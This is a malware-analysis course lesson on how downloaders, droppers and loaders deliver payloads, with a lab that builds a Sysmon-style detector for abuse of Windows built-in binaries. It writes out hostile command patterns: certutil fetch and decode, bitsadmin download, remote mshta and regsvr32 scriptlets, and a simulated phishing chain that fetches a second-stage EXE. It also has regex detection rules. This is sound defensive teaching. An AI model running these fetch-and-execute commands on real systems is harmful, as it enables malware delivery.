Leçon 7.1 · Comportements malveillants· 45 min
Loaders, Droppers and Downloaders
How malware actually arrives and starts running — living-off-the-land delivery, embedded payloads and in-memory loaders — and how to detect each from telemetry.
Cette leçon n’est disponible qu’en anglais pour le moment.
Objectifs
- Distinguish downloaders, droppers and loaders by what each one carries and where the payload ends up
- Recognise the command-line shape of common living-off-the-land delivery binaries and cite their ATT&CK sub-techniques
- Tell an embedded payload (PE resource or overlay) from a fetched one by static and dynamic evidence
- Detect delivery from process-command-line and PowerShell telemetry rather than trying to catch every possible dropped file
Every lesson so far has looked at a sample as a static or running artefact: its headers, its imports, its memory, its packer. This module turns to what that artefact actually does once it is loose on a host, starting at the very beginning — how it got there and how it started running at all. Almost nothing arrives as a double-clicked, self-contained EXE any more. It arrives as a document macro, a script, or a one-line command that fetches, decodes or unpacks something else, usually more than once before real code runs. That first hop is also the one attackers can least avoid: whatever else a family does, it has to execute somehow, which makes delivery one of the most consistently observable stages of an intrusion.
Downloaders, droppers and loaders
The three words get used loosely, including by malware families that do not read this glossary before naming themselves, but the distinction is useful because it tells you where to look for the payload:
| Term | What it carries | Where the payload ends up | What you go looking for |
|---|---|---|---|
| Downloader | Nothing — only a URL or C2 address | Fetched over the network at run time | Network telemetry, the fetch command, the second-stage file on disk |
| Dropper | The payload itself, embedded in its own file (a resource, an overlay, a second archive) | Written out to disk as a new file | The carrier file's resources/overlay; the new file it creates |
| Loader | The payload, embedded or fetched | Placed directly into memory, often in a new process, never written to disk as a final file | Process/memory telemetry; the file it never wrote |
Real samples blend these freely: a downloader fetches an encrypted blob that a small loader stub then decrypts and reflectively loads, so nothing that looks like the final payload is ever written to disk. What matters for analysis and detection is not picking the one correct label, but answering, for this sample, does the payload cross the network, touch disk, or only ever exist in memory — because each answer points you at a different kind of evidence.
Tip: A loader that never writes its payload to disk is not invisible. It still has to allocate memory, and usually still has to resolve the payload's imports, apply relocations and jump to its entry point — the exact sequence How Packers Work walks through for a packed executable's own stub. Dumping Memory and Extracting Payloads covers finding and dumping that region.
Living off the land: the dominant delivery pattern
Writing and shipping a custom downloader is unnecessary work when Windows already ships dozens of signed binaries that can fetch, decode or execute code on the attacker's behalf. These living-off-the-land binaries (LOLBins) are attractive for three reasons that matter to a defender as much as to an attacker: they are signed by Microsoft, so allow-listing by signature does not stop them; they are already present, so there is nothing to drop before the first stage runs; and their normal, legitimate use means a naive "alert on this binary running" rule is unworkable. ATT&CK groups most of them under T1218, System Binary Proxy Execution, with a sub-technique per binary; the closely related T1105, Ingress Tool Transfer, covers the download step itself regardless of which tool performs it.
The binary name is a weak signal on its own. The command-line shape — which flags, in which order, pointed at what kind of argument — is what separates routine administrative use from delivery:
| Binary | What the pattern looks like | Why it works |
|---|---|---|
certutil.exe | certutil -urlcache -split -f http://.../a.txt a.txt then certutil -decode a.txt a.exe | A certificate-management tool with an undocumented URL-fetch switch, plus a base64/hex decoder built in |
bitsadmin.exe | bitsadmin /transfer job /download /priority high http://.../a.exe C:\...\a.exe | Queues the fetch as a background service (BITS) job, so the download can outlive the parent process and blend in with legitimate update traffic |
mshta.exe | mshta http://.../a.hta or mshta vbscript:... | Runs an HTML Application with full script-engine access, launched by a signed Windows binary that most allow-list policies exempt |
regsvr32.exe | regsvr32 /s /n /u /i:http://.../a.sct scrobj.dll (the "Squiblydoo" pattern) | Registers a remote COM scriptlet instead of a local DLL — nothing is ever written to disk |
rundll32.exe | rundll32.exe a.dll,EntryPoint or rundll32.exe javascript:... | The generic "run an exported function" launcher, so any exported name becomes an entry point, including ones a script engine will accept |
wmic.exe | wmic process call create "powershell -enc ..." or an XSL scriptlet via /format | Proxies process creation and remote script execution through a management tool, often already allowed for legitimate WMI use |
Each of these has its own technique page with the full argument grammar and
real-world families that use it; the point of the table is to train the eye
to read a command line the way you would read disassembly — the arguments
tell you what the instruction actually does, regardless of which "trusted"
binary is doing it. certutil -decode and certutil -hashfile are both
completely legitimate uses of the same binary; only the flags differ.
Embedding the payload instead of fetching it
A dropper avoids the network entirely by carrying its payload inside its own file. Two placements dominate on Windows, and both leave a distinct static signature that Detecting Packers and Entropy already trained you to spot, now with the added context of why it is there:
- Payload in PE resources. The
payload — often itself encrypted or compressed — sits in the
.rsrcsection as an ordinary resource entry (a bitmap, an icon group, a custom type), loaded at run time withFindResource/LoadResourceand decrypted before use. Statically, this shows up as one resource entry whose size and entropy are wildly out of proportion to a real icon or string table; a resource viewer such as PE-bear will happily show you an "icon" that is several megabytes of near-random bytes. - PE overlay payload. The payload is
appended after the last section, past everything the PE header describes.
The Windows loader never maps an overlay — it only maps what the section
table lists — so the bytes are inert until the carrier's own code opens
its own file path (or reads itself from the memory-mapped image) and reads
past the last section's declared end. Statically: the file on disk is
larger than
SizeOfImage, or than the sum of the section table's raw sizes, and the trailing region has the same too-high entropy as the resource case.
Both placements are also how many packers work internally — NSIS installers and compiled AutoIt scripts are two very common, legitimate-tooling wrappers that carry a script or payload the same way — which is why "this file has a packer-shaped structure" and "this file is a dropper" are often the same finding described from two directions. A short Python check tells you immediately whether either placement applies:
# overlay_check.py — flag an unusually large or high-entropy PE overlay
import math, sys
from collections import Counter
import pefile
def entropy(data):
counts = Counter(data)
n = len(data)
return -sum((c / n) * math.log2(c / n) for c in counts.values()) if n else 0.0
pe = pefile.PE(sys.argv[1])
last = max(pe.sections, key=lambda s: s.PointerToRawData + s.SizeOfRawData)
end_of_sections = last.PointerToRawData + last.SizeOfRawData
data = open(sys.argv[1], "rb").read()
overlay = data[end_of_sections:]
print(f"file size: {len(data):#x}")
print(f"end of sections: {end_of_sections:#x}")
print(f"overlay size: {len(overlay):#x} ({len(overlay) / len(data):.1%} of file)")
if overlay:
print(f"overlay entropy: {entropy(overlay):.2f} bits/byte")An overlay of a few hundred bytes is common and usually harmless (a digital-signature block is itself stored as trailing data on some files); an overlay that is megabytes in size with entropy above roughly 7.5 bits per byte is the pattern to flag for follow-up.
Detecting delivery from telemetry, not payloads
Chasing every possible dropped file is a losing game — the payload's hash, name and even format change on every build. The command-line and parent- process pair, on the other hand, are much harder for an attacker to vary without also changing which LOLBin they abuse, because the grammar each binary accepts is fixed by Microsoft. Two data sources cover almost every pattern in the table above:
- Sysmon Event ID 1 (Process Creation) gives you the full command line
and the parent image for every process launch. Matching the binary name
plus a small set of flag patterns —
certutil.*-urlcache,bitsadmin.*\/transfer,regsvr32.*\/i:https?:,mshta.*https?:,rundll32.*javascript:— catches the delivery step regardless of what it ultimately fetches or decodes. - PowerShell Script Block Logging (Event ID 4104) recovers the
decoded content of
-EncodedCommandand obfuscated scripts, which matters because many of the LOLBins above are used specifically to launch an encoded PowerShell one-liner as the next stage; the process-creation event alone only shows you the base64 blob.
Both signals are cheap to collect and — unlike antivirus signatures on the payload — do not need to be updated every time the malware author changes a string or a packer.
Warning: Every one of these binaries has legitimate uses:
certutilfor certificate operations,bitsadminfor genuine background transfers,regsvr32for registering real local COM DLLs,wmicfor routine systems administration. Tune each rule on the argument shape, not the binary name alone —certutil -hashfileis notcertutil -urlcache, and an allow-list entry should pin the calling application, not just silence the binary.
What this sets up
Delivery is the first step, not the goal. Once code is running, the next lessons in this module cover what it typically does next: settle in with Persistence Mechanisms, reach out with Command and Control, and steal what it can reach. A loader or dropper that you catch at this stage, before persistence is installed, is the cheapest possible point in an intrusion to interrupt — which is the main reason delivery telemetry is worth building rules for even though the payload behind it will never stop changing.
Lab: detect LOLBin delivery patterns in synthetic process telemetry
This lab never runs any of the commands above. You generate a small file of synthetic Sysmon-style process-creation events for one workstation — ordinary administrative activity plus a simulated delivery chain — and write a Python script that flags the delivery patterns by command-line shape.
-
Set up a working folder (standard library only):
bash mkdir m7l && cd m7l python3 -m venv .venv .venv/bin/python --version -
Generate the events. Save as
make_events.py. Ordinary use ofcertutil,bitsadminandwmicis mixed in with a simulated chain: a phishing document spawnsmshtaagainst a remote HTA, which runscertutilto fetch and decode a second-stage EXE:python # make_events.py — synthetic Sysmon-style Event ID 1 records (JSON lines) import json HOST = "WS-DEMO-11" def ev(t, image, parent, cmdline): return {"UtcTime": f"2026-09-29 {t}", "EventID": 1, "Computer": HOST, "Image": image, "ParentImage": parent, "CommandLine": cmdline} events = [ # --- ordinary administrative activity --- ev("09:02:11.100", r"C:\Windows\System32\certutil.exe", r"C:\Windows\System32\cmd.exe", r'certutil -hashfile C:\Installers\vendor_setup.msi SHA256'), ev("09:10:44.220", r"C:\Windows\System32\bitsadmin.exe", r"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe", r'bitsadmin /transfer UpdateJob /download /priority normal ' r'https://update.example.com/agent.msi C:\ProgramData\Vendor\agent.msi'), ev("09:15:02.410", r"C:\Windows\System32\wbem\WMIC.exe", r"C:\Windows\System32\cmd.exe", r'wmic /node:WS-DEMO-12 process call create "cmd.exe /c ipconfig /all"'), # --- simulated delivery chain (all names fictional) --- ev("10:31:05.902", r"C:\Windows\System32\mshta.exe", r"C:\Users\demo\Downloads\Invoice_2026.doc.hta", r'C:\Windows\System32\mshta.exe hxxp-placeholder://update.example.net/i.hta'), ev("10:31:07.114", r"C:\Windows\System32\certutil.exe", r"C:\Windows\System32\mshta.exe", r'certutil -urlcache -split -f hxxp-placeholder://update.example.net/a.txt ' r'C:\Users\demo\AppData\Local\Temp\a.txt'), ev("10:31:08.550", r"C:\Windows\System32\certutil.exe", r"C:\Windows\System32\mshta.exe", r'certutil -decode C:\Users\demo\AppData\Local\Temp\a.txt ' r'C:\Users\demo\AppData\Local\Temp\upd.exe'), ev("10:31:09.877", r"C:\Users\demo\AppData\Local\Temp\upd.exe", r"C:\Windows\System32\certutil.exe", r'"C:\Users\demo\AppData\Local\Temp\upd.exe"'), ] with open("events.jsonl", "w") as f: for e in events: f.write(json.dumps(e) + "\n") print(f"wrote {len(events)} events")bash .venv/bin/python make_events.py -
Write the detector. Save as
detect_delivery.py. Each rule matches one binary's known-suspicious flag grammar, not the binary name alone:python # detect_delivery.py — flag LOLBin delivery patterns in Sysmon-style JSON lines import json, re, sys RULES = [ ("certutil-fetch", re.compile(r"certutil(\.exe)?\s.*-urlcache", re.I), "T1105/T1218", "certutil used to fetch a remote file"), ("certutil-decode", re.compile(r"certutil(\.exe)?\s.*-decode\b", re.I), "T1140/T1218", "certutil used to decode a staged file"), ("bitsadmin-fetch", re.compile(r"bitsadmin(\.exe)?\s.*\/transfer.*\/download", re.I), "T1105/T1197", "bitsadmin queued a background download"), ("mshta-remote", re.compile(r"mshta(\.exe)?\s+\S*://", re.I), "T1218.005", "mshta launched against a remote HTA/URL"), ("regsvr32-remote", re.compile(r"regsvr32(\.exe)?.*\/i:\S*://", re.I), "T1218.010", "regsvr32 registering a remote scriptlet (Squiblydoo)"), ("wmic-remote-exec", re.compile(r"wmic(\.exe)?\s+\/node:", re.I), "T1047/T1218", "wmic used against a remote node — confirm expected admin tooling"), ] def main(path): events = [json.loads(l) for l in open(path) if l.strip()] alerts = 0 for e in events: cmd = e.get("CommandLine", "") for name, pattern, attack, desc in RULES: if pattern.search(cmd): alerts += 1 print(f"[{name:<16}] {e['UtcTime']} {attack:<10} {desc}") print(f" cmd: {cmd}") print(f" parent: {e.get('ParentImage')}") print(f"-- {len(events)} events, {alerts} alerts") if __name__ == "__main__": main(sys.argv[1]) -
Run it:
bash .venv/bin/python detect_delivery.py events.jsonltext [certutil-fetch ] 2026-09-29 10:31:07.114 T1105/T1218 certutil used to fetch a remote file cmd: certutil -urlcache -split -f hxxp-placeholder://update.example.net/a.txt ... parent: C:\Windows\System32\mshta.exe [certutil-decode ] 2026-09-29 10:31:08.550 T1140/T1218 certutil used to decode a staged file cmd: certutil -decode C:\Users\demo\AppData\Local\Temp\a.txt ... parent: C:\Windows\System32\mshta.exe [wmic-remote-exec] 2026-09-29 09:15:02.410 T1047/T1218 wmic used against a remote node — confirm expected admin tooling cmd: wmic /node:WS-DEMO-12 process call create "cmd.exe /c ipconfig /all" parent: C:\Windows\System32\cmd.exe -- 7 events, 3 alertsThe two
certutilalerts are the delivery chain, correctly separated from the benigncertutil -hashfileline, which matches neither pattern. Thewmicline is a legitimate administrative query in this scenario, but the rule fires anyway because remote WMIC execution is rare enough on most fleets to deserve a human decision rather than a silent allow-list — note that it says so, rather than claiming certainty. Themshtalaunch itself did not match here because its argument used a placeholder scheme; in a real event it would be a plainhttp://orhttps://URL and themshta-remoterule would fire on it directly.
Questions to answer: Why does matching on -urlcache catch more real
certutil abuse than matching on the binary name certutil.exe alone? The
bitsadmin-fetch rule requires both /transfer and /download on the same
command line — what legitimate BITS usage would that avoid flagging that a
simpler rule would not? If the payload in this chain had instead been
embedded in the phishing document as a resource rather than fetched by
certutil, which of this lesson's two detection approaches (command-line
telemetry vs. static resource/overlay inspection) would you need instead,
and why? Which single additional field, if Sysmon recorded it, would let you
confirm that upd.exe was in fact written by the preceding certutil -decode call rather than arriving some other way?
Key takeaways
- Downloader, dropper and loader describe where the payload ends up — over the network, written to disk, or only ever in memory — and real samples often combine all three across a chain of stages.
- Living-off-the-land binaries dominate real-world delivery because they are signed and already present; the command-line shape, not the binary name, is what separates abuse from routine administration.
- An embedded payload shows up statically as a resource or trailing overlay whose size and entropy are out of proportion to what a normal file of that kind should contain.
- Detect delivery from Sysmon process-creation telemetry and PowerShell script-block logging, matching argument grammar per binary, rather than trying to catch every possible dropped or fetched payload.
- Delivery is the cheapest stage of an intrusion to interrupt — it precedes persistence, credential theft and command and control, all covered next in this module.